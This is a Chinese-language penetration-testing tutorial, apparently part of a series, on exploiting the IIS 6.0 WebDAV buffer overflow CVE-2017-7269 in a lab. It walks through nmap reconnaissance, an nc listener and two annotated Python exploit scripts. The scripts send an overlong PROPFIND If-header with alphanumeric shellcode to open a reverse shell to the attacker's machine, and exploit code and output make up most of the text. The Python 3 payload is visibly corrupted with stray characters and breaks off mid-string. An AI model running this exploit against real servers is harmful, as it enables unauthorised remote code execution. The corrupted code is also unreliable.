目录
2、目标机 (Windows) 上执行python Poc:
本系列文章详细分析了CVE-2017-7269漏洞的利用过程,该漏洞存在于IIS6.0的WebDAV组件中,攻击者可通过构造恶意PROPFIND请求触发缓冲区溢出,实现远程代码执行。文章首先介绍了漏洞原理和触发条件,然后分步骤演示了渗透测试过程:包括环境搭建、端口探测、Web服务识别等前期准备;接着详细讲解了通过Python脚本实现反弹shell、上传提权工具iis6.exe、添加用户并提升权限至管理员、开启远程桌面服务等操作;最后展示了使用Metasploit生成payload并获取System权限的反向shell。整个流程完整再现了从Web漏洞到系统完全控制的全过程,涉及多种技术手段的综合运用,为安全研究人员提供了经典漏洞利用的完整参考案例。本篇主要讲解如何通过python脚本实现shell反弹,第二篇主要讲解如何通过iis6进行提取并使用远程桌面登录,第三篇则主要讲解使用MSF进行shell反弹(普通用户、管理员用户)的全过程。
一、CVE-2017-7269
1、漏洞简介
CVE-2017-7269 是 IIS 6.0 的高危漏洞。2016 年 7、8 月起被利用,在开启 WebDAV 服务的 Windows Server 2003 R2 的 IIS 6.0 中,WebDAV 服务的 ScStoragePathFromUrl 函数存在缓冲区溢出,攻击者发送以 “If: <http://” 开头长 header 的 PROPFIND 请求,可执行任意代码,危害极大 。
-
CVE 编号: CVE-2017-7269
-
漏洞名称: Microsoft Internet Information Services 6.0 (IIS 6.0) WebDAV 远程代码执行漏洞
-
漏洞类型: 缓冲区溢出 -> 远程代码执行 (RCE)
-
影响组件: IIS 6.0 中的 WebDAV 组件
-
威胁等级: 高危 (High) / 严重 (Critical)
-
受影响系统: Microsoft Windows Server 2003 R2 及更早版本(运行 IIS 6.0)
2、根本原因
该漏洞存在于 IIS 6.0 的 WebDAV(Web Distributed Authoring and Versioning)扩展服务中。WebDAV 是一种允许用户通过HTTP协议进行远程文件管理和编辑的扩展。
漏洞的具体原因是 对 If: 请求头的处理存在缓冲区溢出漏洞。攻击者通过向服务器发送一个精心构造的、超长的 If: <http://...> 请求头,可以触发栈缓冲区溢出。
3、触发条件
-
目标服务器必须运行 IIS 6.0。
-
目标服务器必须 启用了 WebDAV 扩展(默认情况下可能未启用,但很多应用会启用它来实现某些功能)。
二、渗透准备
1、搭建环境
| 组件 | IP地址 | 操作系统 | 重要工具/服务 | 备注 |
|---|---|---|---|---|
| 攻击机 | 192.168.59.128 | Kali Linux | Metasploit, Nmap | 主渗透测试平台 |
| 靶机 | 192.168.59.148 | Windows Server 2003 | IIS 6.0, WebDAV | 存在CVE-2017-7269漏洞 |
| 网络 | 192.168.59.0/24 | - |
2、Nmap端口探测
如下所示,使用nmap进行探测,端口80处于open状态,说明开启了web服务。
nmap 192.168.59.148

对扫描出的80、135、139、445等端口进行分析,如下所示。
| 端口 | 状态 | 服务 | 潜在风险 | 利用方向 |
|---|---|---|---|---|
| 80/tcp | open | HTTP | Web服务 | 主要攻击向量 |
| 135/tcp | open | MSRPC | 可能的信息泄露 | 枚举信息 |
| 139/tcp | open | NetBIOS-SSN | SMB信息泄露 | 网络共享枚举 |
| 445/tcp | open | Microsoft-DS | SMB共享访问 | 文件共享检查 |
| 1025/tcp | open | IIS或RPC | 可能的IIS管理 | 备用Web入口 |
3、WhatWeb探测
使用whatweb探测192.168.59.148的web服务,如下所示发现服务器为IIS6版本,可能存在CVE-2017-7269 WebDAV漏洞漏洞。

4、Nmap全面探测
使用nmap -A对目标IP 192.168.59.148的80端口进行了 aggressive(主动)扫描,它成功识别出目标运行着存在高危漏洞的Microsoft IIS 6.0服务,并关键性地发现其WebDAV组件已启用且配置不当,允许危险的PUT、DELETE等方法,直接暴露了可利用的攻击面,同时确认目标系统为脆弱的Windows Server 2003。
┌──(root㉿kali)-[/home/kali]
└─# nmap -A 192.168.59.148 -p 80
Starting Nmap 7.92 ( https://nmap.org ) at 2025-09-18 21:34 EDT
Nmap scan report for 192.168.59.148
Host is up (0.0040s latency).
port for 192.168.59.148
Host is up (0.0040s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-webdav-scan:
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Server Date: Fri, 19 Sep 2025 01:34:21 GMT
|_ WebDAV type: Unknown
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-title: Error
|_http-server-header: Microsoft-IIS/6.0
MAC Address: 00:0C:29:79:89:A3 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE
HOP RTT ADDRESS
1 3.96 ms 192.168.59.148
OS and Service detection performed. Please report any incorrect
对80端口的扫描结果进行分析总结,如下所示。
| 项目 | 结果与含义 |
|---|---|
| 端口状态 | 80/tcp open(80 端口开放,为 HTTP 协议默认端口,是 Web 服务的核心通信端口) |
| 服务类型 | http Microsoft IIS httpd 6.0(运行 Microsoft IIS 6.0 Web 服务器,仅支持 Windows 系统) |
| WebDAV 关键信息 | 1. 允许的方法包含PROPFIND、LOCK、UNLOCK(WebDAV 服务已启用,这是 CVE-2017-7269 漏洞的必要前提)2. 支持 PUT、DELETE、MOVE等写入 / 修改操作(进一步确认 WebDAV 功能正常) |
| 风险方法 | TRACE、COPY、PROPFIND、DELETE、PUT等(这些方法若未限制,可能被用于漏洞利用或未授权操作) |
| 系统版本推断 | Microsoft Windows Server 2003 SP1或SP2(IIS 6.0 仅捆绑于 Windows Server 2003,与 CVE-2017-7269 漏洞的目标系统完全匹配) |
此扫描结果直接确认了漏洞利用的所有必要条件,具体对应关系如下:
| 漏洞利用要求 | 扫描结果匹配项 |
|---|---|
| 目标系统为 Windows Server 2003 | 扫描推断Microsoft Windows Server 2003 SP1/SP2,完全符合 |
| Web 服务器为 IIS 6.0 | 明确显示Microsoft IIS httpd 6.0,是漏洞的唯一受影响 Web 服务器版本 |
| WebDAV 服务已启用 | 检测到PROPFIND、LOCK等 WebDAV 专属方法,确认服务正常运行(漏洞触发依赖 WebDAV 的ScStoragePathFromUrl函数) |
| 80 端口开放且可访问 | 80 端口open且延迟低,确保攻击请求能正常送达目标服务器 |
三、nc反弹shell实战渗透
1、攻击机 (Kali) 上监听:
在本地主机的 10918端口启动一个 TCP 监听器,命令执行后,当前终端将处于挂起状态,持续等待传入的 TCP 连接。一旦有客户端(例如受控主机)成功连接,该监听器会立即建立一个原始的网络通信通道。此通道通常用于接收反向 Shell、实现文件传输或执行基础网络调试等操作。完整命令如下所示。
nc -nvlp 10918
其参数含义如下:
-
-n:禁用域名解析,强制仅使用 IP 地址进行连接,加快响应速度; -
-v:启用详细输出模式,实时显示连接状态与交互信息; -
-l:进入监听模式,使当前终端作为服务器运行; -
-p 10918:明确指定监听的端口号为 10918。

2、目标机 (Windows) 上执行python Poc:
目前的目标让Windows Server2003靶机(IP地址为192.168.59.148)与 Kali攻击机(IP 地址为 192.168.59.128)的 10918端口建立一个反向 TCP 连接,并在成功连接后提供一个Shell 会话。本篇文章通过两种方法实现,一共是python2脚本,另一个是python3脚本。两个脚本均参考g0rx大神的脚本,Github官网如下所示。
https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
3、python脚本法
(1)python2脚本法
第一种方式是使用python2脚本对2017 年的 IIS 6.0 漏洞(CVE-2017-7269)的利用 ,mooyuan2脚本的使用方法如下所示。
python mooyuan2.py <目标IP> <目标端口> <反弹IP> <反弹端口>
经过详细注释的代码如下所示。
import sys
import struct
import socket
# 检查命令行参数是否足够(需要4个参数:目标IP、目标端口、反向IP、反向端口)
if len(sys.argv) < 5:
print 'usage:iis6webdav.py targetip targetport reverseip reverseport\n'
exit(1)
# 解析命令行参数
targetip = sys.argv[1] # 目标主机IP地址
targetport = int(sys.argv[2]) # 目标主机端口(通常是80或443)
reverseip = sys.argv[3] # 反向连接的IP(攻击者IP)
reverseport = int(sys.argv[4]) # 反向连接的端口(攻击者监听端口)
# 定义shellcode(二进制指令,用于在目标系统上执行恶意操作,此处为反向连接shell的机器码)
# 结构说明:通过struct.pack将反向端口和IP打包到shellcode中,实现动态配置连接信息
shellcode = '\x55\x8B\xEC\x81\xEC\xDC\x05\x00\x00\x53\x56\x57\x8B\x45\x08\x8B' + \
'\x40\x78\x89\x85\xE4\xFA\xFF\xFF\x8B\x45\x08\x8B\x40\x70\x89\x45' + \
# 此处省略大量机器码...
struct.pack('i', reverseport) + # 打包反向端口(4字节整数)
# 中间机器码省略...
struct.pack('16s', reverseip) + # 打包反向IP(16字节字符串)
# 后续机器码省略...
shellcodelen = 1744 # shellcode的总长度
# 创建TCP套接字(IPv4协议,流式套接字)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接目标主机
sock.connect((targetip, targetport))
# 构造PROPFIND请求(利用IIS6.0 WebDAV漏洞的攻击载荷)
pay = 'PROPFIND / HTTP/1.1\r\n' # PROPFIND方法是WebDAV协议的一部分,用于查询资源属性
pay += 'Host: localhost\r\n' # Host头,模拟本地主机请求
pay += 'Content-Length: %d\r\n' % shellcodelen # 指定请求体长度为shellcode长度
pay += 'If: <http://localhost/aaaaaaa' # If头,漏洞利用的关键部分,用于注入恶意数据
# 注入第一段垃圾数据(混淆和填充,可能用于绕过简单检测或对齐内存)
pay += '\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb5\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay += '>' # 闭合If头中的URL部分
pay += ' (Not <locktoken:write1>) <http://localhost/bbbbbbb' # 继续构造If头,注入更多数据
# 注入第二段垃圾数据(进一步混淆和填充)
pay += '\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
# 注入小型shellcode(可能用于触发漏洞或辅助主shellcode执行)
smallsc = 'VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay += smallsc
pay += '>\r\n\r\n' # 结束If头和请求头部分
# 打印构造的攻击载荷(调试用)
print pay
# 发送攻击载荷到目标主机
sock.send(pay)
# 发送shellcode到目标主机(核心恶意代码)
sock.send(shellcode)
# 接收目标主机的响应(检查攻击结果)
data = sock.recv(80960)
print data
# 关闭套接字连接
sock.close
代码是一个针对 IIS 6.0 WebDAV 漏洞的攻击工具,主要功能如下:
- 参数解析:通过命令行接收目标 IP、目标端口、攻击者 IP 和监听端口。
- shellcode 构造:定义包含反向连接功能的二进制 shellcode,并动态填充攻击者的 IP 和端口。
- 漏洞利用:构造恶意的 PROPFIND 请求(WebDAV 协议方法),通过 If 头注入垃圾数据和 shellcode,利用 IIS 6.0 的 WebDAV 漏洞执行代码。
- 攻击执行:建立 TCP 连接并发送攻击载荷,最终在目标主机上执行 shellcode,使目标主动连接攻击者的主机,获取反向 shell 控制权限。
本文使用如下命令进行渗透(靶机192.168.59.148,web服务端口为80,攻击机192.168.59.129,反弹端口10918),攻击效果如下所示。
└─# python2 mooyuan2.py 192.168.59.148 80 192.168.59.128 10918
PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa潨硣睡焳椶䝲稹䭷佰畓穏䡨噣浔桅㥓偬啧杣㍤䘰硅楒吱䱘橑牁䈱瀵塐㙤汇㔹呪倴呃睒偡㈲测水㉇扁㝍兡塢䝳剐㙰畄桪㍴乊硫䥶乳䱪坺潱塊㈰㝮䭉前䡣潌畖畵景癨䑍偰稶手敗畐橲穫睢癘扈攱ご汹偊呢倳㕷橷䅄㌴摶䵆噔䝬敃瘲牸坩䌸扲娰夸呈ȂȂዀ栃汄剖䬷汭佘塚祐䥪塏䩒䅐晍Ꮐ栃䠴攱潃湦瑁䍬Ꮐ栃千橁灒㌰塦䉌灋捆关祁穐䩬> (Not <locktoken:write1>) <http://localhost/bbbbbbb祈慵佃潧歯䡅㙆杵䐳㡱坥婢吵噡楒橓兗㡎奈捕䥱䍤摲㑨䝘煹㍫歕浈偏穆㑱潔瑃奖潯獁㑗慨穲㝅䵉坎呈䰸㙺㕲扦湃䡭㕈慷䵚慴䄳䍥割浩㙱乤渹捓此兆估硯牓材䕓穣焹体䑖漶獹桷穖慊㥅㘹氹䔱㑲卥塊䑎穄氵婖扁湲昱奙吳ㅂ塥奁煐〶坷䑗卡Ꮐ栃湏栀湏栀䉇癪Ꮐ栃䉗佴奇刴䭦䭂瑤硯悂栁儵牺瑺䵇䑙块넓栀ㅶ湯ⓣ栁ᑠ栃翾Ꮐ栃Ѯ栃煮瑰ᐴ栃⧧栁鎑栀㤱普䥕げ呫癫牊祡ᐜ栃清栀眲票䵩㙬䑨䵰艆栀䡷㉓ᶪ栂潪䌵ᏸ栃⧧栁VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>
(2)python3脚本法
第一种方式是使用python3脚本对2017 年的 IIS 6.0 漏洞(CVE-2017-7269)的利用,相对于第一种方法最大的区别就是python2变为python3,mooyuan3脚本的使用方法如下所示。
python mooyuan3.py <目标IP> <目标端口> <反弹IP> <反弹端口>
经过详细注释的代码如下所示。
import sys
import struct
import socket
# 检查命令行参数,如果不是4个参数(脚本名+4个参数),则打印用法并退出
if len(sys.argv) < 5:
print('usage:iis6webdav.py targetip targetport reverseip reverseport\n')
sys.exit(1)
# 从命令行参数获取目标信息
targetip = sys.argv[1] # 目标IP地址( vulnerable IIS 6.0服务器)
targetport = int(sys.argv[2]) # 目标端口(通常是80)
reverseip = sys.argv[3] # 反弹shell接收IP(攻击者IP)
reverseport = int(sys.argv[4]) # 反弹shell接收端口
# ============================================================
# 硬编码的shellcode - 这是一个反向连接shellcode
# 功能:在目标机器上执行,连接到reverseip:reverseport
# 注意:这是针对特定漏洞精心构造的shellcode
# ============================================================
shellcode = b'\x55\x8B\xEC\x81\xEC\xDC\x05\x00\x00\x53\x56\x57\x8B\x45\x08\x8B' + \
# ... (此处省略大量shellcode字节) ...
b'\x8B\x40\x08\xC3\x55\x8B\xEC\x53\x56\x57\x8B\x7D\x08\x83\x65\x08' + \
b'\x00\x8B\x47\x3C\x8B\x44\x38\x78\x03\xC7\x8B\x70\x20\x03\xF7\x83' + \
b'\x78\x18\x00\x76\x2A\x8B\x0E\x03\xCF\x33\xDB\x8A\x11\x84\xD2\x74' + \
b'\x0B\x6B\xDB\x21\x0F\xBE\xD2\x03\xDA\x41\xEB\xEF\x3B\x5D\x0C\x74' + \
b'\x15\x83\xC6\x04\xFF\x45\x08\x8B\x4D\x08\x3B\x48\x18\x72\xD6\x33' + \
b'\xC0\x5F\x5E\x5B\x5D\xC3\x8B\x48\x24\x8B\x55\x08\x8B\x40\x1C\x8D' + \
b'\x0C\x51\x0F\xB7\x0C\x39\x8D\x04\x88\x8B\x04\x38\x03\xC7\xEB\xE1'
# 定义shellcode的长度
shellcodelen = 1744
# 创建TCP socket并连接到目标服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((targetip, targetport))
# ============================================================
# 构造恶意的PROPFIND请求 - 这是利用的核心部分
# PROPFIND是WebDAV的一个方法,用于检索属性
# ============================================================
pay = b'PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: %d\r\n' % shellcodelen
# 添加恶意的"If:"头部,其中包含超长的Unicode字符
# 这些字符经过精心构造,用于触发缓冲区溢出
pay += b'If: <http://localhost/aaaaaaa'
pay += b'\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb5\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay += b'>'
# 添加第二个恶意URI,继续构造溢出条件
pay += b' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay += b'\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x50\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe极\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\x极\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\x极\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\x